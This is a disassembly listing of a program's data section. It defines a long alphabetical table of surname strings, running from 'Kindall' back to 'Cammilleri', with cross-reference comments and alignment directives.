aKindall	db 'Kindall',0          ; DATA XREF: ___:0042E26Co
aKimura		db 'Kimura',0           ; DATA XREF: ___:0042E268o
		align 4
aKimmett	db 'Kimmett',0          ; DATA XREF: ___:0042E264o
aKimmel		db 'Kimmel',0           ; DATA XREF: ___:0042E260o
		align 4
aKhong		db 'Khong',0            ; DATA XREF: ___:0042E25Co
		align 4
aKeul		db 'Keul',0             ; DATA XREF: ___:0042E258o
		align 4
aKerry		db 'Kerry',0            ; DATA XREF: ___:0042E254o
		align 4
aKendall	db 'Kendall',0          ; DATA XREF: ___:0042E250o
aKemsley	db 'Kemsley',0          ; DATA XREF: ___:0042E24Co
aKempton	db 'Kempton',0          ; DATA XREF: ___:0042E248o
aKelsey		db 'Kelsey',0           ; DATA XREF: ___:0042E244o
		align 4
aKelker		db 'Kelker',0           ; DATA XREF: ___:0042E240o
		align 4
aKeith		db 'Keith',0            ; DATA XREF: ___:0042E23Co
		align 4
aKeepper	db 'Keepper',0          ; DATA XREF: ___:0042E238o
aKeenan		db 'Keenan',0           ; DATA XREF: ___:0042E234o
		align 4
aKee		db 'Kee',0              ; DATA XREF: ___:0042E230o
aKawachi	db 'Kawachi',0          ; DATA XREF: ___:0042E22Co
aKasten		db 'Kasten',0           ; DATA XREF: ___:0042E228o
		align 10h
aKassower	db 'Kassower',0         ; DATA XREF: ___:0042E224o
		align 4
aKarpouzes	db 'Karpouzes',0        ; DATA XREF: ___:0042E220o
		align 4
aKangis		db 'Kangis',0           ; DATA XREF: ___:0042E21Co
		align 10h
aKamel		db 'Kamel',0            ; DATA XREF: ___:0042E218o
		align 4
aKalman		db 'Kalman',0           ; DATA XREF: ___:0042E214o
		align 10h
aKalinowski	db 'Kalinowski',0       ; DATA XREF: ___:0042E210o
		align 4
aKalil		db 'Kalil',0            ; DATA XREF: ___:0042E20Co
		align 4
aKaligian	db 'Kaligian',0         ; DATA XREF: ___:0042E208o
		align 10h
aKalbfleisch	db 'Kalbfleisch',0      ; DATA XREF: ___:0042E204o
aKafadar	db 'Kafadar',0          ; DATA XREF: ___:0042E200o
aKaboolian	db 'Kaboolian',0        ; DATA XREF: ___:0042E1FCo
		align 10h
aKabbash	db 'Kabbash',0          ; DATA XREF: ___:0042E1F8o
aJulious	db 'Julious',0          ; DATA XREF: ___:0042E1F4o
aJuliano	db 'Juliano',0          ; DATA XREF: ___:0042E1F0o
aJucks		db 'Jucks',0            ; DATA XREF: ___:0042E1ECo
		align 10h
aJorgensen	db 'Jorgensen',0        ; DATA XREF: ___:0042E1E8o
		align 4
aJolly		db 'Jolly',0            ; DATA XREF: ___:0042E1E4o
		align 4
aJohns		db 'Johns',0            ; DATA XREF: ___:0042E1E0o
		align 4
aJohannsen	db 'Johannsen',0        ; DATA XREF: ___:0042E1DCo
		align 4
aJohannesson	db 'Johannesson',0      ; DATA XREF: ___:0042E1D8o
aJewett		db 'Jewett',0           ; DATA XREF: ___:0042E1D4o
		align 4
aJespersen	db 'Jespersen',0        ; DATA XREF: ___:0042E1D0o
		align 4
aJenkins	db 'Jenkins',0          ; DATA XREF: ___:0042E1CCo
aJellis		db 'Jellis',0           ; DATA XREF: ___:0042E1C8o
		align 4
aJeffers	db 'Jeffers',0          ; DATA XREF: ___:0042E1C4o
aJay		db 'Jay',0              ; DATA XREF: ___:0042E1C0o
aJarrell	db 'Jarrell',0          ; DATA XREF: ___:0042E1BCo
aJarnagin	db 'Jarnagin',0         ; DATA XREF: ___:0042E1B8o
		align 4
aJanjigian	db 'Janjigian',0        ; DATA XREF: ___:0042E1B4o
		align 4
aJamil		db 'Jamil',0            ; DATA XREF: ___:0042E1B0o
		align 4
aJain		db 'Jain',0             ; DATA XREF: ___:0042E1ACo
		align 4
aJagoe		db 'Jagoe',0            ; DATA XREF: ___:0042E1A8o
		align 4
aJagger		db 'Jagger',0           ; DATA XREF: ___:0042E1A4o
		align 4
aJagers		db 'Jagers',0           ; DATA XREF: ___:0042E1A0o
		align 4
aJackson	db 'Jackson',0          ; DATA XREF: ___:0042E19Co
aJacenko	db 'Jacenko',0          ; DATA XREF: ___:0042E198o
aIyer		db 'Iyer',0             ; DATA XREF: ___:0042E194o
		align 4
aIsserman	db 'Isserman',0         ; DATA XREF: ___:0042E190o
		align 10h
aIsbill		db 'Isbill',0           ; DATA XREF: ___:0042E18Co
		align 4
aIsaievych	db 'Isaievych',0        ; DATA XREF: ___:0042E188o
		align 4
aIsaac		db 'Isaac',0            ; DATA XREF: ___:0042E184o
		align 4
aInniss		db 'Inniss',0           ; DATA XREF: ___:0042E180o
		align 4
aInamura	db 'Inamura',0          ; DATA XREF: ___:0042E17Co
aIgarashi	db 'Igarashi',0         ; DATA XREF: ___:0042E178o
		align 4
aIchikawa	db 'Ichikawa',0         ; DATA XREF: ___:0042E174o
		align 4
aIaquinta	db 'Iaquinta',0         ; DATA XREF: ___:0042E170o
		align 10h
aHyde		db 'Hyde',0             ; DATA XREF: ___:0042E16Co
		align 4
aHutchings	db 'Hutchings',0        ; DATA XREF: ___:0042E168o
		align 4
aHurtubise	db 'Hurtubise',0        ; DATA XREF: ___:0042E164o
		align 10h
aHupp		db 'Hupp',0             ; DATA XREF: ___:0042E160o
		align 4
aHuntington	db 'Huntington',0       ; DATA XREF: ___:0042E15Co
		align 4
aHungerford	db 'Hungerford',0       ; DATA XREF: ___:0042E158o
		align 10h
aHuidekoper	db 'Huidekoper',0       ; DATA XREF: ___:0042E154o
		align 4
aHuey		db 'Huey',0             ; DATA XREF: ___:0042E150o
		align 4
aHoy		db 'Hoy',0              ; DATA XREF: ___:0042E14Co
aHoward		db 'Howard',0           ; DATA XREF: ___:0042E148o
		align 10h
aHottle		db 'Hottle',0           ; DATA XREF: ___:0042E144o
		align 4
aHostage	db 'Hostage',0          ; DATA XREF: ___:0042E140o
aHoshida	db 'Hoshida',0          ; DATA XREF: ___:0042E13Co
aHorsley	db 'Horsley',0          ; DATA XREF: ___:0042E138o
aHopkins	db 'Hopkins',0          ; DATA XREF: ___:0042E134o
aHooker		db 'Hooker',0           ; DATA XREF: ___:0042E130o
		align 10h
aHolzman	db 'Holzman',0          ; DATA XREF: ___:0042E12Co
aHolway		db 'Holway',0           ; DATA XREF: ___:0042E128o
		align 10h
aHolter		db 'Holter',0           ; DATA XREF: ___:0042E124o
		align 4
aHoloien	db 'Holoien',0          ; DATA XREF: ___:0042E120o
aHolmes		db 'Holmes',0           ; DATA XREF: ___:0042E11Co
		align 4
aHokoda		db 'Hokoda',0           ; DATA XREF: ___:0042E118o
		align 10h
aHokanson	db 'Hokanson',0         ; DATA XREF: ___:0042E114o
		align 4
aHoffman	db 'Hoffman',0          ; DATA XREF: ___:0042E110o
aHoffer		db 'Hoffer',0           ; DATA XREF: ___:0042E10Co
		align 4
aHock		db 'Hock',0             ; DATA XREF: ___:0042E108o
		align 4
aHoang		db 'Hoang',0            ; DATA XREF: ___:0042E104o
		align 4
aHitchcock	db 'Hitchcock',0        ; DATA XREF: ___:0042E100o
		align 4
aHirst		db 'Hirst',0            ; DATA XREF: ___:0042E0FCo
		align 10h
aHind		db 'Hind',0             ; DATA XREF: ___:0042E0F8o
		align 4
aHimmelfarb	db 'Himmelfarb',0       ; DATA XREF: ___:0042E0F4o
		align 4
aHeyeck		db 'Heyeck',0           ; DATA XREF: ___:0042E0F0o
		align 4
aHeubert	db 'Heubert',0          ; DATA XREF: ___:0042E0ECo
aHester		db 'Hester',0           ; DATA XREF: ___:0042E0E8o
		align 4
aHerrera	db 'Herrera',0          ; DATA XREF: ___:0042E0E4o
aHernandez	db 'Hernandez',0        ; DATA XREF: ___:0042E0E0o
		align 10h
aHenrichs	db 'Henrichs',0         ; DATA XREF: ___:0042E0DCo
		align 4
aHenery		db 'Henery',0           ; DATA XREF: ___:0042E0D8o
		align 4
aHemphill	db 'Hemphill',0         ; DATA XREF: ___:0042E0D4o
		align 10h
aHelprin	db 'Helprin',0          ; DATA XREF: ___:0042E0D0o
aHellmiss	db 'Hellmiss',0         ; DATA XREF: ___:0042E0CCo
		align 4
aHellman	db 'Hellman',0          ; DATA XREF: ___:0042E0C8o
aHeiland	db 'Heiland',0          ; DATA XREF: ___:0042E0C4o
aHeft		db 'Heft',0             ; DATA XREF: ___:0042E0C0o
		align 4
aHeermans	db 'Heermans',0         ; DATA XREF: ___:0042E0BCo
		align 4
aHazlewood	db 'Hazlewood',0        ; DATA XREF: ___:0042E0B8o
		align 4
aHaynes		db 'Haynes',0           ; DATA XREF: ___:0042E0B4o
		align 4
aHayes		db 'Hayes',0            ; DATA XREF: ___:0042E0B0o
		align 4
aHawkes		db 'Hawkes',0           ; DATA XREF: ___:0042E0ACo
		align 4
aHaviaras	db 'Haviaras',0         ; DATA XREF: ___:0042E0A8o
		align 4
aHarwell	db 'Harwell',0          ; DATA XREF: ___:0042E0A4o
aHartnett	db 'Hartnett',0         ; DATA XREF: ___:0042E0A0o
		align 4
aHartmann	db 'Hartmann',0         ; DATA XREF: ___:0042E09Co
		align 4
aHartman	db 'Hartman',0          ; DATA XREF: ___:0042E098o
aHarrigan	db 'Harrigan',0         ; DATA XREF: ___:0042E094o
		align 4
aHarlow		db 'Harlow',0           ; DATA XREF: ___:0042E090o
		align 4
aHargraves	db 'Hargraves',0        ; DATA XREF: ___:0042E08Co
		align 10h
aHarding	db 'Harding',0          ; DATA XREF: ___:0042E088o
aHanssen	db 'Hanssen',0          ; DATA XREF: ___:0042E084o
aHand		db 'Hand',0             ; DATA XREF: ___:0042E080o
		align 4
aHammerness	db 'Hammerness',0       ; DATA XREF: ___:0042E07Co
		align 4
aHamer		db 'Hamer',0            ; DATA XREF: ___:0042E078o
		align 4
aHambarzumjan	db 'Hambarzumjan',0     ; DATA XREF: ___:0042E074o
		align 4
aHalpert	db 'Halpert',0          ; DATA XREF: ___:0042E070o
aHallowell	db 'Hallowell',0        ; DATA XREF: ___:0042E06Co
		align 10h
aHalkias	db 'Halkias',0          ; DATA XREF: ___:0042E068o
aHaley		db 'Haley',0            ; DATA XREF: ___:0042E064o
		align 10h
aHackshaw	db 'Hackshaw',0         ; DATA XREF: ___:0042E060o
		align 4
aHackman	db 'Hackman',0          ; DATA XREF: ___:0042E05Co
aHaar		db 'Haar',0             ; DATA XREF: ___:0042E058o
		align 4
aHa		db 'Ha',0               ; DATA XREF: ___:0042E054o
		align 10h
aGuo		db 'Guo',0              ; DATA XREF: ___:0042E050o
aGunn		db 'Gunn',0             ; DATA XREF: ___:0042E04Co
		align 4
aGuenthart	db 'Guenthart',0        ; DATA XREF: ___:0042E048o
		align 4
aGruppe		db 'Gruppe',0           ; DATA XREF: ___:0042E044o
		align 10h
aGruner		db 'Gruner',0           ; DATA XREF: ___:0042E040o
		align 4
aGrummell	db 'Grummell',0         ; DATA XREF: ___:0042E03Co
		align 4
aGrigoletto	db 'Grigoletto',0       ; DATA XREF: ___:0042E038o
		align 10h
aGriffiths	db 'Griffiths',0        ; DATA XREF: ___:0042E034o
		align 4
aGreenfeld	db 'Greenfeld',0        ; DATA XREF: ___:0042E030o
		align 4
aGreenberg	db 'Greenberg',0        ; DATA XREF: ___:0042E02Co
		align 4
aGravell	db 'Gravell',0          ; DATA XREF: ___:0042E028o
aGozzi		db 'Gozzi',0            ; DATA XREF: ___:0042E024o
		align 4
aGoody		db 'Goody',0            ; DATA XREF: ___:0042E020o
		align 4
aGoodearl	db 'Goodearl',0         ; DATA XREF: ___:0042E01Co
		align 4
aGood		db 'Good',0             ; DATA XREF: ___:0042E018o
		align 10h
aGoncalves	db 'Goncalves',0        ; DATA XREF: ___:0042E014o
		align 4
aGoldfarb	db 'Goldfarb',0         ; DATA XREF: ___:0042E010o
		align 4
aGlendon	db 'Glendon',0          ; DATA XREF: ___:0042E00Co
aGlegg		db 'Glegg',0            ; DATA XREF: ___:0042E008o
		align 4
aGleason	db 'Gleason',0          ; DATA XREF: ___:0042E004o
aGist		db 'Gist',0             ; DATA XREF: ___:0042E000o
		align 4
aGillispie	db 'Gillispie',0        ; DATA XREF: ___:0042DFFCo
		align 4
aGill		db 'Gill',0             ; DATA XREF: ___:0042DFF8o
		align 4
aGili		db 'Gili',0             ; DATA XREF: ___:0042DFF4o
		align 4
aGilbert	db 'Gilbert',0          ; DATA XREF: ___:0042DFF0o
aGibson		db 'Gibson',0           ; DATA XREF: ___:0042DFECo
		align 4
aGibbens	db 'Gibbens',0          ; DATA XREF: ___:0042DFE8o
aGhorai		db 'Ghorai',0           ; DATA XREF: ___:0042DFE4o
		align 4
aGerrett	db 'Gerrett',0          ; DATA XREF: ___:0042DFE0o
aGeorgi		db 'Georgi',0           ; DATA XREF: ___:0042DFDCo
		align 4
aGemberling	db 'Gemberling',0       ; DATA XREF: ___:0042DFD8o
		align 10h
aGeller		db 'Geller',0           ; DATA XREF: ___:0042DFD4o
		align 4
aGaronna	db 'Garonna',0          ; DATA XREF: ___:0042DFD0o
aGarman		db 'Garman',0           ; DATA XREF: ___:0042DFCCo
		align 4
aGarfield	db 'Garfield',0         ; DATA XREF: ___:0042DFC8o
		align 4
aGambini	db 'Gambini',0          ; DATA XREF: ___:0042DFC4o
aGalwey		db 'Galwey',0           ; DATA XREF: ___:0042DFC0o
		align 4
aGaleotti	db 'Galeotti',0         ; DATA XREF: ___:0042DFBCo
		align 10h
aGaggiotti	db 'Gaggiotti',0        ; DATA XREF: ___:0042DFB8o
		align 4
aGabrielli	db 'Gabrielli',0        ; DATA XREF: ___:0042DFB4o
		align 4
aFusaro		db 'Fusaro',0           ; DATA XREF: ___:0042DFB0o
		align 10h
aFurth		db 'Furth',0            ; DATA XREF: ___:0042DFACo
		align 4
aFuller		db 'Fuller',0           ; DATA XREF: ___:0042DFA8o
		align 10h
aFujiiAbe	db 'Fujii-Abe',0        ; DATA XREF: ___:0042DFA4o
		align 4
aFrye		db 'Frye',0             ; DATA XREF: ___:0042DFA0o
		align 4
aFryberger	db 'Fryberger',0        ; DATA XREF: ___:0042DF9Co
		align 10h
aFrowiss	db 'Frowiss',0          ; DATA XREF: ___:0042DF98o
aFrisken	db 'Frisken',0          ; DATA XREF: ___:0042DF94o
aFriedland	db 'Friedland',0        ; DATA XREF: ___:0042DF90o
		align 4
aFried		db 'Fried',0            ; DATA XREF: ___:0042DF8Co
		align 4
aFreundlich	db 'Freundlich',0       ; DATA XREF: ___:0042DF88o
		align 10h
aFreid		db 'Freid',0            ; DATA XREF: ___:0042DF84o
		align 4
aFrazierDavis	db 'Frazier-Davis',0    ; DATA XREF: ___:0042DF80o
		align 4
aFranz		db 'Franz',0            ; DATA XREF: ___:0042DF7Co
		align 10h
aFranklinKenea	db 'Franklin-Kenea',0   ; DATA XREF: ___:0042DF78o
		align 10h
aFrancisco	db 'Francisco',0        ; DATA XREF: ___:0042DF74o
		align 4
aFossi		db 'Fossi',0            ; DATA XREF: ___:0042DF70o
		align 4
aFossey		db 'Fossey',0           ; DATA XREF: ___:0042DF6Co
		align 4
aFortier	db 'Fortier',0          ; DATA XREF: ___:0042DF68o
aFortes		db 'Fortes',0           ; DATA XREF: ___:0042DF64o
		align 4
aForester	db 'Forester',0         ; DATA XREF: ___:0042DF60o
		align 4
aFolks		db 'Folks',0            ; DATA XREF: ___:0042DF5Co
		align 10h
aFlores		db 'Flores',0           ; DATA XREF: ___:0042DF58o
		align 4
aFlier		db 'Flier',0            ; DATA XREF: ___:0042DF54o
		align 10h
aFitzmaurice	db 'Fitzmaurice',0      ; DATA XREF: ___:0042DF50o
aFisk		db 'Fisk',0             ; DATA XREF: ___:0042DF4Co
		align 4
aFiorina	db 'Fiorina',0          ; DATA XREF: ___:0042DF48o
aFinnegan	db 'Finnegan',0         ; DATA XREF: ___:0042DF44o
		align 4
aFinkelstein	db 'Finkelstein',0      ; DATA XREF: ___:0042DF40o
aFink		db 'Fink',0             ; DATA XREF: ___:0042DF3Co
		align 4
aField		db 'Field',0            ; DATA XREF: ___:0042DF38o
		align 4
aFido		db 'Fido',0             ; DATA XREF: ___:0042DF34o
		align 4
aFeuer		db 'Feuer',0            ; DATA XREF: ___:0042DF30o
		align 4
aFerriell	db 'Ferriell',0         ; DATA XREF: ___:0042DF2Co
		align 10h
aFerrante	db 'Ferrante',0         ; DATA XREF: ___:0042DF28o
		align 4
aFernandes	db 'Fernandes',0        ; DATA XREF: ___:0042DF24o
		align 4
aFernald	db 'Fernald',0          ; DATA XREF: ___:0042DF20o
aFeldman	db 'Feldman',0          ; DATA XREF: ___:0042DF1Co
aFejzo		db 'Fejzo',0            ; DATA XREF: ___:0042DF18o
		align 10h
aFeigenbaum	db 'Feigenbaum',0       ; DATA XREF: ___:0042DF14o
		align 4
aFates		db 'Fates',0            ; DATA XREF: ___:0042DF10o
		align 4
aFasso		db 'Fasso',27h,0        ; DATA XREF: ___:0042DF0Co
		align 4
aFarren		db 'Farren',0           ; DATA XREF: ___:0042DF08o
		align 4
aFarone		db 'Farone',0           ; DATA XREF: ___:0042DF04o
		align 4
aFaris		db 'Faris',0            ; DATA XREF: ___:0042DF00o
		align 4
aFalorsi	db 'Falorsi',0          ; DATA XREF: ___:0042DEFCo
aFalcoAcosta	db 'Falco-Acosta',0     ; DATA XREF: ___:0042DEF8o
		align 4
aFaioes		db 'Faioes',0           ; DATA XREF: ___:0042DEF4o
		align 4
aFagan		db 'Fagan',0            ; DATA XREF: ___:0042DEF0o
		align 4
aFabbris	db 'Fabbris',0          ; DATA XREF: ___:0042DEECo
aEverett	db 'Everett',0          ; DATA XREF: ___:0042DEE8o
aEuripides	db 'Euripides',0        ; DATA XREF: ___:0042DEE4o
		align 4
aEtter		db 'Etter',0            ; DATA XREF: ___:0042DEE0o
		align 10h
aEstes		db 'Estes',0            ; DATA XREF: ___:0042DEDCo
		align 4
aEspinoza	db 'Espinoza',0         ; DATA XREF: ___:0042DED8o
		align 4
aErez		db 'Erez',0             ; DATA XREF: ___:0042DED4o
		align 4
aErdos		db 'Erdos',0            ; DATA XREF: ___:0042DED0o
		align 4
aErdman		db 'Erdman',0           ; DATA XREF: ___:0042DECCo
		align 4
aErbach		db 'Erbach',0           ; DATA XREF: ___:0042DEC8o
		align 4
aEppling	db 'Eppling',0          ; DATA XREF: ___:0042DEC4o
aEnyeart	db 'Enyeart',0          ; DATA XREF: ___:0042DEC0o
aEncinas	db 'Encinas',0          ; DATA XREF: ___:0042DEBCo
aElvis		db 'Elvis',0            ; DATA XREF: ___:0042DEB8o
		align 4
aElmerick	db 'Elmerick',0         ; DATA XREF: ___:0042DEB4o
		align 10h
aElmendorf	db 'Elmendorf',0        ; DATA XREF: ___:0042DEB0o
		align 4
aEliasson	db 'Eliasson',0         ; DATA XREF: ___:0042DEACo
		align 4
aEickenhorst	db 'Eickenhorst',0      ; DATA XREF: ___:0042DEA8o
aEdward		db 'Edward',0           ; DATA XREF: ___:0042DEA4o
		align 4
aEdner		db 'Edner',0            ; DATA XREF: ___:0042DEA0o
		align 4
aEdley		db 'Edley',0            ; DATA XREF: ___:0042DE9Co
		align 4
aEckel		db 'Eckel',0            ; DATA XREF: ___:0042DE98o
		align 4
aEbeling	db 'Ebeling',0          ; DATA XREF: ___:0042DE94o
aEardley	db 'Eardley',0          ; DATA XREF: ___:0042DE90o
aDwyer		db 'Dwyer',0            ; DATA XREF: ___:0042DE8Co
		align 4
aDussault	db 'Dussault',0         ; DATA XREF: ___:0042DE88o
		align 4
aDurrett	db 'Durrett',0          ; DATA XREF: ___:0042DE84o
aDuffin		db 'Duffin',0           ; DATA XREF: ___:0042DE80o
		align 4
aDSouza		db 'D',27h,'souza',0    ; DATA XREF: ___:0042DE7Co
aDrinker	db 'Drinker',0          ; DATA XREF: ___:0042DE78o
aDowsland	db 'Dowsland',0         ; DATA XREF: ___:0042DE74o
		align 4
aDoug		db 'Doug',0             ; DATA XREF: ___:0042DE70o
		align 4
aDoty		db 'Doty',0             ; DATA XREF: ___:0042DE6Co
		align 4
aDosi		db 'Dosi',0             ; DATA XREF: ___:0042DE68o
		align 4
aDorf		db 'Dorf',0             ; DATA XREF: ___:0042DE64o
		align 4
aDore		db 'Dore',0             ; DATA XREF: ___:0042DE60o
		align 4
aDoonan		db 'Doonan',0           ; DATA XREF: ___:0042DE5Co
		align 4
aDonner		db 'Donner',0           ; DATA XREF: ___:0042DE58o
		align 4
aDonahue	db 'Donahue',0          ; DATA XREF: ___:0042DE54o
aDoherty	db 'Doherty',0          ; DATA XREF: ___:0042DE50o
aDockery	db 'Dockery',0          ; DATA XREF: ___:0042DE4Co
aDirksen	db 'Dirksen',0          ; DATA XREF: ___:0042DE48o
aDionysius	db 'Dionysius',0        ; DATA XREF: ___:0042DE44o
		align 4
aDilworth	db 'Dilworth',0         ; DATA XREF: ___:0042DE40o
		align 4
aDifronzo	db 'Difronzo',0         ; DATA XREF: ___:0042DE3Co
		align 10h
aDifabio	db 'Difabio',0          ; DATA XREF: ___:0042DE38o
aDiefenbach	db 'Diefenbach',0       ; DATA XREF: ___:0042DE34o
		align 4
aDicks		db 'Dicks',0            ; DATA XREF: ___:0042DE30o
		align 4
aDFini		db 'D',27h,'fini',0     ; DATA XREF: ___:0042DE2Co
		align 4
aDeutsch	db 'Deutsch',0          ; DATA XREF: ___:0042DE28o
aDesombre	db 'Desombre',0         ; DATA XREF: ___:0042DE24o
		align 4
aDenison	db 'Denison',0          ; DATA XREF: ___:0042DE20o
aDenham		db 'Denham',0           ; DATA XREF: ___:0042DE1Co
		align 4
aDenault	db 'Denault',0          ; DATA XREF: ___:0042DE18o
aDemusz		db 'Demusz',0           ; DATA XREF: ___:0042DE14o
		align 4
aDempster	db 'Dempster',0         ; DATA XREF: ___:0042DE10o
		align 4
aDeming		db 'Deming',0           ; DATA XREF: ___:0042DE0Co
		align 4
aDellAcqua	db 'Dell',27h,'acqua',0 ; DATA XREF: ___:0042DE08o
		align 4
aDelger		db 'Delger',0           ; DATA XREF: ___:0042DE04o
		align 10h
aDeleonRendon	db 'Deleon-Rendon',0    ; DATA XREF: ___:0042DE00o
		align 10h
aDelattre	db 'Delattre',0         ; DATA XREF: ___:0042DDFCo
		align 4
aDefeciani	db 'Defeciani',0        ; DATA XREF: ___:0042DDF8o
		align 4
aDees		db 'Dees',0             ; DATA XREF: ___:0042DDF4o
		align 10h
aDebroff	db 'Debroff',0          ; DATA XREF: ___:0042DDF0o
aDerousse	db 'deRousse',0         ; DATA XREF: ___:0042DDECo
		align 4
aDelEnclos	db 'del',27h,'Enclos',0 ; DATA XREF: ___:0042DDE8o
		align 10h
aDelapena	db 'DeLaPena',0         ; DATA XREF: ___:0042DDE4o
		align 4
aDegennaro	db 'DeGennaro',0        ; DATA XREF: ___:0042DDE0o
		align 4
aDawkins	db 'Dawkins',0          ; DATA XREF: ___:0042DDDCo
aDavid		db 'David',0            ; DATA XREF: ___:0042DDD8o
		align 4
aDaskalu	db 'Daskalu',0          ; DATA XREF: ___:0042DDD4o
aDasgupta	db 'Dasgupta',0         ; DATA XREF: ___:0042DDD0o
		align 4
aDas		db 'Das',0              ; DATA XREF: ___:0042DDCCo
aDArcangelo	db 'D',27h,'arcangelo',0 ; DATA XREF: ___:0042DDC8o
aDapice		db 'Dapice',0           ; DATA XREF: ___:0042DDC4o
		align 4
aDante		db 'Dante',0            ; DATA XREF: ___:0042DDC0o
		align 4
aDanieli	db 'Danieli',0          ; DATA XREF: ___:0042DDBCo
aDAmbra		db 'D',27h,'Ambra',0    ; DATA XREF: ___:0042DDB8o
aDaly		db 'Daly',0             ; DATA XREF: ___:0042DDB4o
		align 4
aDaldalian	db 'Daldalian',0        ; DATA XREF: ___:0042DDB0o
		align 10h
aDasilva	db 'daSilva',0          ; DATA XREF: ___:0042DDACo
aCyders		db 'Cyders',0           ; DATA XREF: ___:0042DDA8o
		align 10h
aCvek		db 'Cvek',0             ; DATA XREF: ___:0042DDA4o
		align 4
aCutler		db 'Cutler',0           ; DATA XREF: ___:0042DDA0o
		align 10h
aCurrier	db 'Currier',0          ; DATA XREF: ___:0042DD9Co
aCui		db 'Cui',0              ; DATA XREF: ___:0042DD98o
aCroxton	db 'Croxton',0          ; DATA XREF: ___:0042DD94o
aCroxen		db 'Croxen',0           ; DATA XREF: ___:0042DD90o
		align 4
aCroshaw	db 'Croshaw',0          ; DATA XREF: ___:0042DD8Co
aCrocker	db 'Crocker',0          ; DATA XREF: ___:0042DD88o
aCrawford	db 'Crawford',0         ; DATA XREF: ___:0042DD84o
		align 4
aCoutaux	db 'Coutaux',0          ; DATA XREF: ___:0042DD80o
aCounter	db 'Counter',0          ; DATA XREF: ___:0042DD7Co
aCosmides	db 'Cosmides',0         ; DATA XREF: ___:0042DD78o
		align 4
aCornish	db 'Cornish',0          ; DATA XREF: ___:0042DD74o
aCorey		db 'Corey',0            ; DATA XREF: ___:0042DD70o
		align 4
aConnors	db 'Connors',0          ; DATA XREF: ___:0042DD6Co
aCondodina	db 'Condodina',0        ; DATA XREF: ___:0042DD68o
		align 4
aConcino	db 'Concino',0          ; DATA XREF: ___:0042DD64o
aComstock	db 'Comstock',0         ; DATA XREF: ___:0042DD60o
		align 4
aCompton	db 'Compton',0          ; DATA XREF: ___:0042DD58o
					; ___:0042DD5Co
aCollis		db 'Collis',0           ; DATA XREF: ___:0042DD54o
		align 4
aCollard	db 'Collard',0          ; DATA XREF: ___:0042DD50o
aColella	db 'Colella',0          ; DATA XREF: ___:0042DD4Co
aColdren	db 'Coldren',0          ; DATA XREF: ___:0042DD48o
aCoito		db 'Coito',0            ; DATA XREF: ___:0042DD44o
		align 4
aCoblenz	db 'Coblenz',0          ; DATA XREF: ___:0042DD40o
aClow		db 'Clow',0             ; DATA XREF: ___:0042DD3Co
		align 4
aClifton	db 'Clifton',0          ; DATA XREF: ___:0042DD38o
aClement	db 'Clement',0          ; DATA XREF: ___:0042DD34o
aClark		db 'Clark',0            ; DATA XREF: ___:0042DD30o
		align 4
aClancy		db 'Clancy',0           ; DATA XREF: ___:0042DD2Co
		align 4
aClaffey	db 'Claffey',0          ; DATA XREF: ___:0042DD28o
aCifarelli	db 'Cifarelli',0        ; DATA XREF: ___:0042DD24o
		align 10h
aCicero		db 'Cicero',0           ; DATA XREF: ___:0042DD20o
		align 4
aCiampaglia	db 'Ciampaglia',0       ; DATA XREF: ___:0042DD1Co
		align 4
aChurch		db 'Church',0           ; DATA XREF: ___:0042DD18o
		align 4
aChupasko	db 'Chupasko',0         ; DATA XREF: ___:0042DD14o
		align 4
aChu		db 'Chu',0              ; DATA XREF: ___:0042DD10o
aChristopher	db 'Christopher',0      ; DATA XREF: ___:0042DD0Co
aChristie	db 'Christie',0         ; DATA XREF: ___:0042DD08o
		align 4
aChristiano	db 'Christiano',0       ; DATA XREF: ___:0042DD04o
		align 10h
aChristian	db 'Christian',0        ; DATA XREF: ___:0042DD00o
		align 4
aChristenson	db 'Christenson',0      ; DATA XREF: ___:0042DCFCo
aChinman	db 'Chinman',0          ; DATA XREF: ___:0042DCF8o
aChinipardaz	db 'Chinipardaz',0      ; DATA XREF: ___:0042DCF4o
aChilds		db 'Childs',0           ; DATA XREF: ___:0042DCF0o
		align 4
aChildress	db 'Childress',0        ; DATA XREF: ___:0042DCECo
		align 10h
aChien		db 'Chien',0            ; DATA XREF: ___:0042DCE8o
		align 4
aChiassino	db 'Chiassino',0        ; DATA XREF: ___:0042DCE4o
		align 4
aChervinsky	db 'Chervinsky',0       ; DATA XREF: ___:0042DCE0o
		align 10h
aCherry		db 'Cherry',0           ; DATA XREF: ___:0042DCDCo
		align 4
aCheang		db 'Cheang',0           ; DATA XREF: ___:0042DCD8o
		align 10h
aCharles	db 'Charles',0          ; DATA XREF: ___:0042DCD4o
aChapman	db 'Chapman',0          ; DATA XREF: ___:0042DCD0o
aCerioli	db 'Cerioli',0          ; DATA XREF: ___:0042DCCCo
aCeniceros	db 'Ceniceros',0        ; DATA XREF: ___:0042DCC8o
		align 4
aCavell		db 'Cavell',0           ; DATA XREF: ___:0042DCC4o
		align 4
aCavanagh	db 'Cavanagh',0         ; DATA XREF: ___:0042DCC0o
		align 4
aCastelda	db 'Castelda',0         ; DATA XREF: ___:0042DCBCo
		align 4
aCaspar		db 'Caspar',0           ; DATA XREF: ___:0042DCB8o
		align 4
aCase		db 'Case',0             ; DATA XREF: ___:0042DCB4o
		align 4
aCascio		db 'Cascio',0           ; DATA XREF: ___:0042DCB0o
		align 4
aCartmill	db 'Cartmill',0         ; DATA XREF: ___:0042DCACo
		align 4
aCarper		db 'Carper',0           ; DATA XREF: ___:0042DCA8o
		align 10h
aCaroti		db 'Caroti',0           ; DATA XREF: ___:0042DCA4o
		align 4
aCarmichael	db 'Carmichael',0       ; DATA XREF: ___:0042DCA0o
		align 4
aCarlyle	db 'Carlyle',0          ; DATA XREF: ___:0042DC9Co
aCarlos		db 'Carlos',0           ; DATA XREF: ___:0042DC98o
		align 4
aCarlin		db 'Carlin',0           ; DATA XREF: ___:0042DC94o
		align 4
aCarayannopoulo	db 'Carayannopoulos',0  ; DATA XREF: ___:0042DC90o
aCaratozzolo	db 'Caratozzolo',0      ; DATA XREF: ___:0042DC8Co
aCapursi	db 'Capursi',0          ; DATA XREF: ___:0042DC88o
aCappuccio	db 'Cappuccio',0        ; DATA XREF: ___:0042DC84o
		align 4
aCapodilupo	db 'Capodilupo',0       ; DATA XREF: ___:0042DC80o
		align 4
aCapocaccia	db 'Capocaccia',0       ; DATA XREF: ___:0042DC7Co
		align 4
aCaperton	db 'Caperton',0         ; DATA XREF: ___:0042DC78o
		align 10h
aCapanni	db 'Capanni',0          ; DATA XREF: ___:0042DC74o
aCanley		db 'Canley',0           ; DATA XREF: ___:0042DC70o
		align 10h
aCammilleri	db 'Cammilleri',0       ; DATA XREF: ___:0042DC6Co
		align 4
